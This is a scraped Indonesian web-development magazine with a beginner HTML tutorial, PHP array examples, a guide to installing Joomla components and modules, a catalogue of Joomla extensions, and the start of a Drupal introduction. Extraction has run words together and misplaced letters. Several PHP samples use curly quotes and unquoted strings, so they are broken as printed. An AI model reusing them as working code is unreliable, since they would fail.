  • 16. 13.ilmu Website |MagazineE-learning community offline version15HTML dasarWebZeroForMengenalArray bagian 2alam artikel ini penulis akan menjelaskanbagaimana website itu di bangunDmenggunakan tag-tag HTML, artikel inipenulis sediakan untuk Anda yang pemula dalamdunia web design + developmentTapi sebelumnya, ada yang perlu Anda ketahui :tag <> digunakan untuk menuliskan sintak, ada duajenis, yaitu tag container dan tag biasa.Tag container adalah tag berisi text yang akanditampilkan setelah tag ditutup.Contoh: <td> text yang ditampilkan </td>.Tag biasa, tag yang tidak berisi apa-apa, dan hanyatag saja, memiliki fungsi spesifik.Contoh : <BR> (break). <br> tidak perlu ditutupoleh tag </br>,Namun jika sintak yang digunakan tag container,contoh: <h1>, diharuskan untuk ditutup dengan</h1>.Tag yang digunakan untuk mengakhiri sintak punyakarakter / (slash) sebelum sintaknya,contohnya: <td> </td>Kita juga dapat mengetik attribut di dalam sebuahtag,contoh: <body bgcolor=”red”> </body>. atau<input type=”text”>.DasarDasar
  • 17. pertama, ketikkantekan enter, kemudian ketikDalam container head, kita bisa mengetikan beberapasintak, tapi yang paling penting jangan lupa mengetikansintakKemudian ketikkan sintak title tadi, jadi seperti ini:Setelah itu ketikkan . Tag body merupakanbadan/tubuh/inti dari halaman web, tampilan web yang kitalihat berasal dariBody merupakan tag container, yang tentunya memerlukanpenutup Oke, berikut adalah yang telah kitaketikkan ke dalam notepad.<html><head><title> judul halaman web </title>.<head> <title> judul halaman web</title> </head><body><body>.</body>.<html><head><title> Judul Halaman Web </title></head><body></body>Oke untuk dapat membuat file html kita memerlukan sebuaheditor, dalam kasus ini penulis menggunakan notepad, danuntuk dapat melihat hasilnya, kita cukup menggunakanbrowser firefox saja. Setidaknya untuk membuat halamanwebsiteterdapat3langkahsederhana.LANGKAH1BukalahnotepadataueditortextkesayanganAndaLANGKAH2Ketikkan SyntaxnyaLANGKAH 3Lihat hasilnya menggunakan browser firefoxBerikut ini adalah syntax dasar yang membentuk suatuHTML..ilmu Website |MagazineE-learning community offline version14Selanjutnya bagaimana cara menampilkan tulisan ke dalamHTML??? Silahkan ketikkan sembarang text ke dalam tubuhbody.<body>Contoh text yang ditampilkan pada halaman web, OlehC.H.I.P sensei</body>jika semuanya sudah silahkan ketikkan </html> sebagaipenutup file html, berikut ini adlaha script lengkapnya :<html><head><title> Judul Halaman Web </title></head><body>Nah cara menyimpan ke dalam bentuk HTML yaitu ketikaakan menyimpan, ada satu tempat di bawah tempat kitamenulis nama file, yakni Save As Type. Silahkan ubah daritext document(*.txt) menjadi all files, ketika menulis nama,di akhir di berikan extensi .html, contoh: dasarHTML.html.Oke semua? Selamat mencoba. [C.H.I.P Sensei]Contoh text yang ditampilkan di halaman web, By: C.H.I.P.Sensei</body></html>Jika semua proses sudah di lakukan, simpanlah dengannama dasarHTML.htmlJika sudah di simpan, maka bukalah file tersebut denganmenggunakan browser kesayangan Anda, misalnya browserfirefox.Ada sedikit catatan, Anda mungkin akan bingung karenahtml yang telah disimpan ternyata gagal. Yang terbukamalahan file di notepad/wordpad. Mengapa? Ini terjadikarena ketika men-save, file tersebut di save ke dalambentuk TXT, bukan HTML.
  • 18. ArrayOPERASI-OPERASI PENGGUNAANPada edisi yang lalu telah dijelaskan mengenai dasar-dasar array. Menyambung pembahasan tersebut, kali ini kita akan menggunakan data-data arraytersebut dalam sebuah operasi. Agar pembahasan menjadi lebih detil namun sederhana maka setiap bagian akan diuraikan berdasarkan nama fungsinya.Menghitung ukuran arrayntuk mendapatkan ukuran array kita bisa menggunakanfungsi sizeof(). Berikut ini adalah contoh penggunaanUfungsi ini:<?php$nama_hari = array(“senin”,“selasa”, “rabu”, “kamis”, “jumat”,“sabtu”, “minggu”);$ukuran_array = sizeof($nama_hari);echo Ukuran data array nama-namahari adalah .$ukuran_array;?>Jika script di atas dieksekus di dalam browser maka akanmenampilkan output:Ukuran data array nama-nama hari adalah 7Mendapatkan key arrayFungsi array_keys() bisa digunakan bila kita ingin mendapatkankey dari suatu data array. Berikut adalah contoh penggunaanya:Mengenal.ilmu Website |MagazineE-learning community offline version15DATA ARRAYBagian 2<?php$nama_hari = array( a => senin, b =>selasa, c => rabu, d => kamis, e=> jumat, f => sabtu, g => minggu);$key_array = array_keys($nama_hari);print_r ($key_array);?>Jika script di atas dieksekus di dalam browser maka akanmenampilkan output:Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f [6]=> g )Mendapatkan value arrayFungsi array_values() bisa digunakan bila kita inginmendapatkan value dari suatu data array. Berikut adalahcontoh penggunaanya:
  • 19. <?php$nama_hari = array( a => senin, b=> selasa, c => rabu, d =>kamis, e => jumat, f =>sabtu, g => minggu);$value_array = array_values($nama_hari);print_r ($value_array);?>Berikut adalah output di dalam browser:Array ( [0] => senin [1] => selasa [2] => rabu [3] => kamis [4]=> jumat [5] => sabtu [6] => minggu )Menggabungkan data array secara lengkapUntuk menggabungkan data array kita bisa menggunakanarray_merge(). Fungsi ini akan menggabungkan semua datayang terdapat di dalam array. Contohnya adalah:<?php$nama_warna = array(“merah”, “kuning”,“hijau”);$nama_hewan = array(“kucing”, “kerbau”,“harimau”);$merge =array_merge($nama_warna,$nama_hewan);print_r ($merge);?>Output dari script di atas adalah:Array ( [0] => merah [1] => kuning [2] => hijau [3] => kucing [4]=> kerbau [5] => harimau )Menggabungkan data array secara unikBagaimana kalau data array yang digabungkan terdapat nilaiyang sama dan kita hanya ingin memunculkan satu kali saja(unik)? Untuk bisa menamplikan data secara unik kita bisamenggunakan fungsi array_unique(). Berikut adalah contohnya:<?php$nama_1 = array(“merah”, “kuning”,“hijau”);$nama_2 = array(“ungu”, “merah”,“jingga”);$merge = array_unique (array_merge($nama_1,$nama_2) );print_r ($merge);?>Output dari script di atas adalah:Array ( [0] => merah [1] => kuning [2] => hijau [3] => ungu [4] =>jingga )Pada contoh di atas kita melihat bahwa nilai merah yangsebelumnya terdapat pada array nama_1 dan nama_2 setelah dimerge dan ditambahkan fungsi array_unique () kini ditampilkanhanya sekali saja.Modifikasi nilai arrayJika kita sudah memiliki suatu data array dan ingin memodifikasisalah satu nilainya, maka kita bisa menggunakan argumen arraytunggal seperti contoh berikut ini:<?php$nama_warna = array(“merah”, “kuning”,“hijau”);$nama_warna[2] = ungu;print_r($nama_warna);?>.ilmu Website |MagazineE-learning community offline version16Default Paragraph Font;Normal (Web);Hasil dari script di atasadalah:Array([0]=>merah[1]=>kuning[2]=>ungu)MenghapusnilaiarraySelain memodifikasi, kita juga bisa menghapus salah satu nilaiarray dari data yang sudah kita inisialisasi. Kita bisa menggunakankonstruksi unset() untuk melakukan hal ini. Berikut adalahcontohnya:<?php$nama_warna = array(“merah”,“kuning”, “hijau”);unset($nama_warna[2] );print_r($nama_warna);?>Hasil dari script di atas adalah:Array ( [0] => merah [1] => kuning )Demikian contoh-contoh sederhana dalam pengoperasian data-data array. Selamat mencoba![Iskandar Soesman]
  • 20. 17Mengenal Module, ComponentPada Joomla& Keuntungan Membuat Sendiri ModulePada JoomlaS y s t e mContentManagement21 JoomlaExtension31 DRUPAL37 WordpressPlugin45 JawsGadgetMembuat SendiriJoomla adalah sebuah Content Management System (CMS) yang sangat populer dalam dunia Website, inidikarenakan joomlabukan hanya free tetapi juga bersifat Open Source artinya codenya dapat diedit dan dimodifikasi sesuaikebutuhan dan keinginanpadaKeuntungan&Module ComponentMengenal pada JoomlaJ O O M L A!oomla tidak hanya memilikifasilitas untuk entri content atauberita saja , namun belakangan iniJJoomla telah memiliki banyakcomponent dan module-moduledukungan untuk keperluan dalammembangun sebuah website dan lagi-lagi component serta module-moduletersebut free alias gratis juga Opensource, anda dapat mengunjungi homepage joomla http://www.joomla.orguntuk segera mendownloadnyalangsung. Dimanakah tempat yangmenyediakan component serta module-module joomla yang dapat didownloadsecara free ? Anda dapat mengeksplorasisubdomain joomla yaitu dihttp://www.extensions.joomla.org.Module
  • 21. oomla memiliki banyak component dan module.Component adalah sebuah tools, apa yang kita inginJbuat untuk membangun sebuah website menjadi lebihspesifik, dan module adalah pendukung dari componentyang ada. Dengan kata lain module hanya dapatmenampilkan apa yang telah di buat atau di masukkanmelalui component yang telah terinstall pada website yangmenggunakan joomlaBanyak sekali component guna membangun website kitadiantaranya :ààComponent VirtueMart (component untuk tokoonline),àComponent RS gallery (component untukmenampilkan galery Ieage kita),àCompkjent seyret (menampilkan video layaknyayoutube)àComponent fireboard (component forum)àComponelt Ads Manager ( untuk sebuah Miniads).??dan banyak lagi component lainnya yang dapat kitagunakan untuk membangun website, anda tinggalmencarinya di http://www.extensions.joomla.org??secara default joomla telah mengincludekan beberapacomponent bawaan, anda dapat melihatnya dalam fasilitasback end atau di administrator.Taruh cursor anda di atas menu Component seperti gambarberikut :Yup, gambar diatas memperlihatkan component default yang telahterinstall secara otomatis tanpa perlu mencarinya danmenginstallnya kembali. Begitu juga dengan module bawaan, adabeberapa yang sudah di includekan. Anda dapat melihatnyamelalui menu Extension-Module Manager jika pada waktuinstalasi anda tidak menginstall sample data maka akan terlihatseperti di bawah ini.ilmu Website |MagazineE-learning community offline version18
  • 22. Loh kok tidak ada yang terinstall ?? bukan tidak ada yang terinstallmelainkan module tersebut belum ditampilkan pada website kita,sehingga tidak ada module yang terlihat, untuk menambahkanModule kita bisa click NEW dan berikut merupakan module-module yang telah di install oleh Joomla tanpa harus menginstallulang module tersebut.Anda dapat memilih module yang ingin di tampilkan pada websitesesuai dengan keperluan.Baiklah, sekarang kita akan coba untuk menginstall componentdan module.Siapkan Component dan Module yang akan di install. Alangkahbaiknya jika Component dan Module tersebut saling synchronsehingga kita dapat menggunakannya dengan baik.Dalam uji coba kali ini kita akan coba untuk menginstallcomponent forum beserta Module-Module yang diperlukan,arahkan pointer kita ke menu Extensions | Install/Uninstallkemudian Click browse dan cari dimana tempat Componentberada.Biasanya component selalu dalam bentuk compresi atau file ZIP(.zip), kemudian Click Upload File /Install dan apa yang terjadi.Loh ko terlihat Error seperti ini ?System Legacy terletak pada Menu Extensions-Plugins Manager.Aktifkan system legacy dengan cara merubahnya dari (disable)menjadi Check(enable) kemudian kita lihat pada sudut atassebelah kanan terlihat legacy 1.0 telah muncul. Kemudian kitacoba lagi untuk menginstall componentnya yang tadi denganmenggunakan cara sebelumnya. Dan hasilnya adalah... berhasil.Anda sudah mempunyai component fireboard Forum. Anda dapatmelihatnya di Menu Component terdapat Sub menu ComponentForum dan kita dapat gunakan Forum tersebut dengan masuk kedalam Menunya untuk langsung melakukan konfigurasiselanjutnya.Oke untuk selanjutnya kita akan mencoba install modulependukung forum, kita siapkan dahulu modulenya yaitu :mod_fblatest_with_fireboard_avatarOke sekarang mari coba kita install module-module tersebut, yaitusama dengan menggunakan cara sebelumnya, pertama menuju keExtensions- Install/Uninstall kemudian cari di mana letak Moduletersebut berada. Jika penginstallan module pertama sukses akanterlihat seperti gambar berikut :Kenapa bisa terjadi error? Apakah Componentnya yang error ataubagaimana ? Error ini bukan berasal dari Component, ini hanyamasalah settingan saja, sebaiknya sebelum kita menginstallalangkah bagusnya untuk mengaktifkan System Legacy, hal inidigunakan agar komponen joomla yang berbeda versi dapatberintegrasi dengan baik. Dimana dan bagaimana caramengaktifkan System Legacy pada Joomla ? Oke ikuti selanjutnya...ilmu Website |MagazineE-learning community offline version19
  • 23. Baiklah sekarang kita telah mempunyai satu component dan satumodule pendukung, sekarang bagaimana jika inginmenampilkannya dalam halaman depan website. Agar dapatmenampilkan Forum dan module pendukung forum, ikuti langkahselanjutnya.Pertama masuk ke menu component fireboard forum,Components - Fireboard Forum , klik apply saja jika adaperingatan. Dikarenakan belum mempunyai user-user yang akanmengisi forum, sebaiknya kita install sample datanya terlebihdahulu dengan cara mengklik Load Sample Data seperti gambarberikut :Dari situ secara otomatis kita telah memiliki sample-sample datauntuk idtampilkan pada halaman website kita. Untukmenambahkan menu pada website, dari menu diatas arahkanpointer ke Menus- Main Menu. Kemudian klik NEW, maka akanmuncul seperti gambar berikut :Lakukan klik pada bagian Internal Link ke Fireboard Forum,kemudian kita beri pada field title dengan nama Forum, kemudianlakukan SAVE, akan terlihat pada main menu secara otomatis akanbertambah satu menu yaitu forum. Coba sekarang anda lihathalaman website anda, pada bagian Main Menu telah terdapatmenu home dan menu Forum, sekarang anda klik hyperlinkForum, ya... anda sudah memiliki Forum sendiri, mudah sekalibukan?Oke selanjutnya kita akan menampilkan module pendukung forumyang telah kita install sebelumnya.Baiklah, kembali lagi ke back end atau administrator, setelah diadministrator masuk ke menu Extensions-Module Managersecara default Joomla memberikan satu module akan tetapi dalamkondisi di disable(tidak di gunakan), kita bisa menggunakanmodule tersebut dengan mengklik pada module namenya danakan masuk ke menu seperti berikut :Anda dapat mengganti field title dengan nama Latest Forum(terserah anda), kemudian pada bagian enable kita rubah yangsemula No menjadi Yes. Untuk positionnya silahkan anda tempatkan di left, jika anda menginginkan tempat yang lain sebaiknyaanda lihat terlebih dahulu lokasi penempatannya agar terlihatbagus. Dan untuk parameter- parameter yang lainnya anda bisasesuiakan dengan keinginan.Tempat untuk mengkonfigurasinya terletak pada menu sebelahkanan. Anda dapat merubahnya sesuka anda. Sekedar informasi,pada parameter terdapat Module Class Suffix, artinya kita dapatmengganti layout cssnya sesuai dengan kemauan dengan caramelakukan penambahan suffix di belakang nama css anda,misalnya anda isi dengan “_forum” maka kita bisa lihatdibelakangnya akan terdapat ”_forum” anda bisa lihatmenggunakan Firebug atau viewsource, setelah settingan selesaidikonfigurasi, lakukan save / apply.Ya, apabila kembali menuju halaman frontpage website akanterlihat satu buah module Muncul yang kita beri nama LatestForum. [Syahril Rohman.].ilmu Website |MagazineE-learning community offline version20
  • 24. berbagai CMS kesayangan anda75Kelengkapan fitur dari sebuah website sangat dibutuhkan oleh para pengunjung dalam memudahkan pencarianinformasi yang lengkap, website yang menarik dan memiliki fasilitas lengkap akan menjadi daya pikat tersendiri,dampak yang dihasilkan nantinya membuat para user akan betah berlama-lama dan semakin sering untukmengunjungi web tersebut. Dan yang menjadi pertanyaan adalah bagaimana caranya agar website yang dibuatdapat menjadi lebih menarik, kaya fitur, dan powerfull, tentunya dengan memanfaatkan plugin, component,module , maupun extension yang telah ada, dan disediakan secara free. Di sini penulis coba jelaskan sedetilmungkin. Selamat bereksplorasi.Joomla! ExtensionsApa itu extension Joomla! ?ingkatnya extensions merupakan aplikasi tambahan untukmenambah fungsionalitas suatu sistem. Misalnya dalamSsebuah web ada fasilitas untuk dapat mendownload filetertentu dimana fasilitas tersebut diatur berdasarkan pengguna(public atau member), jika user mendaftar sebagai member danlogin, baru akan mendapatkan izin akses dan bisa untukmendownload informasi yang lebih lengkap. Salah satunya adalahDocument Manager.Dalam sistem Joomla versi 1.5.x Document Manager merupakansalah satu contoh joomla extensions. Sedangkan pada Joomla 1.0.xdisebut sebagai komponen dan modul. Fitur download seperti itudapat dipasang/install dengan mudah di Joomla .Joomla extensions sangat banyak jumlahnya dan terbagi menjadibeberapa tipe yaitu: Component, Module, Plugins, Template, danLanguage. Dari beberapa tipe tersebut dapat dibagi lagi menjadibeberapa kategori. Berikut adalah pengertian dari extensions padaJoomla!ComponentSecara garis besar component merupakan fungsi tambahan padasistem joomla yang mengatur parameter tertentu. Misalnya padacontoh diatas untuk menambahkan fungsi document manager dandownload kita bisa menggunakan component DOCman.ComponentModuleExtensionsWidgetPluginsKoleksi& Joomla!Extension.ilmu Website |MagazineE-learning community offline version21
  • 25. Dengan DOCman kita memiliki pengaturan untuk melakukansharing file kepada siapapun. Dalam joomla biasanya nama filecomponent memiliki awalan “com” di depan nama filenya,misalnya com_docman_1.4.0.stable.zip.ModuleModule adalah sebuah aplikasi tambahan mini yang biasanyadiletakkan di kanan atau di kiri halaman website. sepertimisalnya polling, login form, shout box, dll. Biasanya diawali“mod” di depan nama filenya.PluginsPada joomla versi 1.0.x disebut mambots, sekarang berubahmenjadi plugins. Plugins adalah aplikasi mini yang disisipkanuntuk menambah, memanipulasi, atau merubah contentatau artikel. Misalnya untuk mengetik artikel di joomla kitaharus mempunyai plugin text editor seperti tinyMCE editor(editor standar wyswyg bawaan joomla). Biasanya Diawali“plg” untuk nama file pluginnya.Bagi pengguna joomla dapat berbahagia karena tersediaratusan extension bertebaran di internet yang siap dipilih, dariyang gratisan hingga yang berbayar, namun tidak perlukhawatir karena jumlah extensions (componen, module,plugin) yang gratis amat banyak jumlahnya. Keduanya sama-sama memiliki fitur yang lengkap dan handal karena sudahdiuji dan akan terus dimonitoring pengembangannya olehkomunitas joomla.Install Extensions Joomla!Pada Joomla 1.5 ada beberapa peningkatan fitur dalampenggunaan dan pengaturan CMS-nya, diantaranya dalaminstallasi extensions hanya menggunakan satu menu saja, sertadukungun kompitibilitas dengan extensions versi sebelumnya(dengan mengaktifkan plugin legacy mode).Cara install extensions:1. Pada halaman administrator klik menu Extension >Install/Uninstall2. Browse file zip yang telah kita download(Component/Module/Plugin) lalu klik tombol upload file &install.3. Jika telah terinstall akan muncul welcome note dan previewfile yang telah kita installUntuk konfigurasi component lakukan klik pada menucomponent, dan secara otomatis komponen yang kita installakan tersedia di sana..Untuk module, masuk ke menu Extensions>modul manager, dihalaman ini kita dapat mengatur semua konfigurasi module, untukmengaktifkanmodul,padatabenablekliksimboltandasilangmerahhinggaberubahmenjadicentanghijau..ilmu Website |MagazineE-learning community offline version22
  • 26. Untuk plugin dapat dilakukan hal yang sama seperti pada moduledengan masuk ke menu plugin manager.Extensions Joomla! PilihanKarena tersedia ratusan extensions joomla di dunia maya yangsiap pakai, seringkali membuat para penggunanya bingung,apalagi bagi pemula yang ingin mencoba-coba nge-Joomla.Berikut ini penulis coba pilihkan beberapa Extensions Joomlaterpopuler yang dapat dijadikan sebagai referensi. Extensions disini berlisensi GNU/GPL alias bebas download dan pemakaian.ommunity Builder merupakan salah satu komponen yangbisa digunakan untuk membangun sebuah jaringanCkomunitas layaknya social networking pada websiteberbasiskan CMS Joomla, Community Builder ini digunakan olehsebagian besar situs portal komunitas dan situs-situs supportjoomla. Dimaksudkan sebagai system management user,mendukung koneksi antar user, dan integrasi yang baik dengancomponent yang lainnya. Misalkan kita bisa membuat websitesekolah yang dilengkapi menu jaringan sekolah, dimana kita harusmendaftar sebagai member untuk mendapatkan full akses keberbagai kontent, component ini sangat wajib digunakan.Fitur yang dimiliki Community Builder menurut pengembangnyaadalah:Emphasis;extra fields in profile, enhanced registration workflows,user lists, connection paths between users, admin defined tabsand user profiles, image upload, front-end workflow management,integration with other components, like PMS, Newsletter, Forum,Galleries.Tips: Untuk menginstall komponen ini Extract terlebih dahulufile archieve nya karena komponen dan berbagai module terdapatdidalamnyaVersions : 1.2License : GPLv2.0Type : Non-CommercialCategory : CommunityCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : JoomlaJoe and BeatCommunity Builder.ilmu Website |MagazineE-learning community offline version23
  • 27. DOCmanuat yang ingin membuat website yang dilengkapi denganfile sharing seperti download file untuk dibagikan kepadaBpengunjung / member lainnya, component inimemberikan akses management yang bagus untuk dapatmensharing file kedalam berbagai kategori, dilengkapi denganpilihan akses download, hit counter download, pencariandokumen, urutan file, dan keterangan detail file yang akan didownload.Juga terintegrasi baik dengan Community Builder untukmembatasiaksesuntukregistered/unregisteredmember.Version :1.4.0.stableLicense :GPLv2.0Type :Non-CommercialCategory :Directory&DocumentationCompatibiliy :1.0Native/1.5LegacyDeveloper :JoomlatoolsFireboardntuk menambahkan fitur forum pada website joomla, kitadapat menggunakan component fireboard ini. FireboardUmerupakan salah satu komponen forum yang populer,didukung dengan module dan plugin. Tampilannya yang menarikserta kelengkapan fasilitasnya menjadi daya tarik tersendiri darikomponen ini, Dapat terhubung dengan Community Buildersehinggainformasidapatsalingmelengkapisatusamalain.Version :1.0.5RC2License :GPLv2.0Type :Non-CommercialCategory :ForumCompatibiliy :1.0Native/1.5LegacyDeveloper :Bestofjoomla.com.ilmu Website |MagazineE-learning community offline version24
  • 28. Ajax Shoutboxagi anda yang senang memberikan komentar padashoutbox untuk lebih mengakrabkan diri denganBpengunjung lainnya, anda bisa memanfaatkan module ini,dapat digunakan untuk berinteraksi melalui pesan singkat denganpengunjung/admin yang sedang online secara langsung, karenamodul ini menggunakan ajax sehingga tidak perlu me-refreshhalaman.Version : 1.20License : GPLv2.0Type : Non-CommercialCategory : CommunicationsCompatibiliy : 1.0 Native/1.5 NativeDeveloper : RispJoomlaXplorerni merupakan component penting untuk administrator,mempunyai fitur layaknya windows explorer yaitu untukImengelola file-file yang terdapat di server host secara online,juga terdapat fitur FTP, dapat digunakan untuk memanage hampirseluruh file yang kita inginkan.Version : 1.6.3License : GPLv2.0Type : Non-CommercialCategory : File ManagementCompatibiliy : 1.0 Native / 1.5 LegacyDeveloper : Sören Eberhardt-BiermannJCE Editordalah editor WYSWYG seperti TinyMCE editor (editorbawaan Joomla) yang memiliki fitur lebih lengkap danAlebih powerfull, dengan JCE ini kita bisa menulis artikeldan menyisipkan gambar sekaligus mengupload gambar untukartikel tersebut.Versions : 1.1.9.2 / 1.5.2License : GPLv2.0Type : Non-CommercialCategory : EditorsCompatibiliy : 1.5 NativeDeveloper : Ryan Demmer.ilmu Website |MagazineE-learning community offline version25
  • 29. VirtuemartIngin membuat website e-commerce dengan menggunakanJoomla? Virtuemart bisa menjadi component yang tepat untukmembangun website toko online, fitur adminnya yang lumayanlengkap, ditambah dengan beberapa module untuk menampilkanproduk yang telah disertakan di package-nya membuat virtuemartmendapatkan posisi terdepan dalam component terbaik kategorie-commerce. ( Untuk menggunakannya silahkan unzip terlebihdahulu).Version : 1.1.3License : GPLv2.0Type : Non-CommercialCategory : e-commerceCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : Sören Eberhardt-Biermann.ilmu Website |MagazineE-learning community offline version26ContentItem ModuleUntuk menampilkan artikel pilihan terbaik yang bukan di menuutama, anda dapat menggunakan modul ini untuk diletakkan dibagian tertentu. Dengan modul ini kita dapat memilih artikel /news yang ingin kita tampilkan di posisi yang kita inginkan padahalaman website.Version : 1.2.1License : GPLv2.0Type : Non-CommercialCategory : Content & NewsCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : EikeBlastchatComponent Blastchat digunakan untuk menambahkan fitur chatpada web Joomla yang kita buat, kelebihannya adalah tidakmengurangi resource website kita karena menggunakan resourcedari server blastchat.Version : 3.0License : GPLv2.0Type : Non-CommercialCategory : CommunicationsCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : BlastChatJoomla CommentComponen untuk menampilkan fitur komentar pada artikel yangtelah kita publish, mendukung capcta, comment feed (RSS), kitajuga dapat mengganti theme-nya. Dapat menggunakan avatar(khusus Community Builder).Version : 3.26License : GPLv2.0Type : Non-CommercialCategory : Contact & feedbackCompatibiliy : 1.0 Native / 1.5 LegacyDeveloper : Compojoom.com
  • 30. Allvideo pluginsPlugin yang satu ini digunakan agar kita mudah untuk meng-embed / menanamkan video dari situs lain seperti youtubekedalam website kita, berfungsi untuk menjalankan file denganformat seperti Flash, QuickTime, Shockware, Windows Media, danReal Media. Kita tinggal memasukan link videonya ke dalamcontent berita dengan kode tertentu.Version : 2.5.3License : GPLv2.0Type : Non-CommercialCategory : video Players & galleryCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : JoomlaWorksPhocaGallery with slideshowIngin membuat gallery image pada web joomla kita? PhocaGallerymerupakan salah satu component yang bisa diandalkan,tampilannya yang menarik serta tata letak gambar yang tersusunrapi membuatnya menjadi semakin menawan. Ketika gambarnyadi klik maka akan memunculkan sebuah popup gambar yangdiperbesar, dan terdapat fitur slideshow didalamnya.Version : 2.2.1License : GPLv2.0Type : Non-CommercialCategory : Photos & imagesCompatibiliy: 1.5 NativeDeveloper : Jan PavelkaJoomla!orWord ??press.ilmu Website |MagazineE-learning community offline version27
  • 31. JambookComponent ini untuk memunculkan fasilitas bukutamu(guestbook), memiliki fitur anti spam dan dapat dikostumisasi.Version : 1.0 RC1License : GPLv2.0Type : Non-CommercialCategory : Contact and feedbackCompatibiliy : 1.0 Native/1.5 LegacyDeveloper : Olle JohanssonRsGalleryPilihan lain untuk image gallery, RsGallery ini merupakan salahsatu kompoter terpopuler yang dapat diandalkan untukmemanage image gallery, tampilannya yang sederhana terlihatsimple namun tetap menawan. Dilengkapi dengan fitur yanglumayan lengkap namun tetap memiliki akses yang baik seperti:description file, voting, dan fitur komentar. Juga tersedia fiturslideshow dan pencarian file.Version : 2.0.0License : GPLv2.0Type : Non-CommercialCategory : Photos & imagesCompatibility : 1.0 Native / 1.5 NativeDeveloper : RSGallery.net teamGoogleMapPlugin ini digunakan untuk membuat peta (satelit flat)menggunakan mesin Google.Version : 2.11fLicense : GPLv2.0Type : Non-CommercialCategory : Photos & imagesCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : Mike Reumer.ilmu Website |MagazineE-learning community offline version28IKLANmXcommentSalah satu component untuk menampilkan fitur comment padawebsite kita, anda dapat mengganti themesnya sesuka hati,mendukung captca dan juga askimet (anti spam) hanya denganmemasukan API key askimet dalam konfigurasinya.Version : 1.0.9License : GPLv2.0Type : Non-CommercialCategory : Contact & feedbackCompatibiliy : 1.0 Native / 1.5 LegacyDeveloper : Bernard GillyKwick Vertikal Sliding MenuModule ini dimanfaatkan untuk menyederhanakan tampilan menuyang jumlahnya banyak dengan cara menampilkan menu secarasliding. Dengan module ini daftar menu tidak akan munculsebelum meng-klik menu yang dimaksud.Version : 1.2License : GPLv2.0Type : Non-CommercialCategory : Core EnhancmentsCompatibiliy : 1.5 NativeDeveloper : Rony Chandra Yofa Zebua – Dwi
  • 32. Jsecure AuthenticationBerfungsi untuk memproteksi halaman administrator dariserangan hacker, karena mudahnya untuk masuk ke halamanauthentication administrator pada web Joomla, yaitu tinggalmenambahkan /administrator di belakang nama website misal, akan memudahkan parahacker yang telah mencuri account kita untuk masuk ke halamanadmin. Plugin ini sangat berguna untuk menyembunyikan halamanadministrator.Versions : 1.06License : GPLv2.0Type : Non-CommercialCategory : SecurityCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : Ajay Luliahttp://namawebsite.com/administratorPhocadownloadSalah satu pilihan untuk berbagi file dengan pengunjung, untukwebsite yang dilengkapi dengan fitur download komponen inilayak untuk digunakan, manajemen filenya bagus denganmembagi file menjadi section dan kategori, tampilannya yangsimple membuatnya mudah digunakan, dilengkapi denganinformasi detil mengenai file.Version : 1.0.6License : GPLv2.0Type : Non-CommercialCategory : Directory & DocumentationCompatibiliy : 1.5 NativeDeveloper : Jan PavelkaJumi PackDengan component ini kita dapat memasukan custom code,html, php, dan javasript sebagai salah satu module pada situs kitadengan mudah, seperti misalnya adsense, googlegroup, recentreaders, technorati, dllVersion : 2.0.1License : GPLv2.0Type : Non-CommercialCategory : Custom codeCompatibiliy : 1.0 Native/1.5 NativeDeveloper : Martin Hájek, Edvard Ananyan.ilmu Website |MagazineE-learning community offline version29
  • 33. JA purityBerfungsi untuk membuat menu yang interaktif, memilikisubmenu (pull down) saat mouseover / berada diatas menutersebut. Module ini dapat dimanfaatkan untuk membuattampilan website lebih interaktif dengan navigasi yang sederhananamun powerfull.Version : 1.1.0License : GPLv2.0Type : Non-CommercialCategory : Core EnhancmentsCompatibiliy : 1.5 NativeDeveloper : JoomlartCarousel BannerJika ingin menampilkan iklan atau banner di website dengantampilan iklan yang berubah-ubah, kita dapat memanfaat moduleini, berfungsi untuk menampilkan iklan (banener) secara acak danmenarik. Iklan yang ditampilkan akan bergerak secara otomatisdan bergantian sesuai dengan yang dikonfigurasikan, dan tiap-tiapgambar memiliki link yang berbeda-beda.Version : 1License : GPLv2.0Type : Non-CommercialCategory : ads & affiliatesCompatibiliy : 1.5 NativeDeveloper : Andy Sikumbang.ilmu Website |MagazineE-learning community offline version30Media PlayerJika ingin membangun website bertemakan musik, dapatmemanfaatkan module ini. Berfungsi untuk menjalankan danmenampilkan audio secara online.Version : 1.1.0License : GPLv2.0Type : Non-CommercialCategory : MultimediaCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : Daniel Gutierezsh404SEFKomponen untuk SEF (Search Engine Friendly), merubah URL situsmenjadi lebih friendly.Version : 1.3.9License : GPLv2.0Type : Non-CommercialCategory : SEFCompatibiliy : 1.0 Native / 1.5 NativeDeveloper : Yannick GaultierJoomSEOJika kalian mencari extension untuk menampilkan judul situs padasearch engine dengan joomla 1.5, maka gunakan extension ini.Joomseo adalah ekstensi joomla kategori SEO (Search EngineOptimization),dapat merubah title html, meta keyword, dan deskripsi websitekita secara dinamis. Format judul yang ditampilkan adalahkombinasi dari: heading-paragraph, site nama, dan keyword.Berintegrasi secara baik dengan sh404SEF.Version : 1.5.2License : GPLv2.0Type : Non-CommercialCategory : SEOCompatibiliy : 1.5 NativeDeveloper : Phillip Brown
  • 34. Drupal ModuleFitur-fitur untuk menambah fungsionalitas website tersebutdalam CMS Drupal disebut sebagai Module. Pada default instalasi,Drupal telah menyertakan beberapa modul yang sangat baikuntuk menjadikannya website yang mantap. Hal yangmenggembirakan adalah tersedianya modul tambahan yangsangat banyak dengan dukungan update fitur serta security untuktiap module yang sangat cepat, ditambah sebagian besarlisensinya GNU/GPL alias bebas untuk digunakan.rupal adalah salah satu CMS php-mysql terbaik yangdimiliki komunitas open source. CMS terbaik yang terasaDringan, mudah, dan aman, gelar “pas di hati” memangcocok dipegang oleh drupal. CMS ini dapat di kostumisasi menjadiapa saja sekehendak kita, memiliki fitur-fitur yang dengan sekejapmampu menjadikannya sebuah portal berita, blog pribadi, forumdiskusi, portal web komunitas, e-commerce, dll. Jika kitamenggabungkan semuanya, maka drupal bisa menjadi websitekomunitas yang luar biasa. Saat ini versi terakhir adalah Drupalversi 6.10. Untuk melihat sejauh mana implementasi drupal dalamdunia website anda dapat mengunjungi situs officialnya 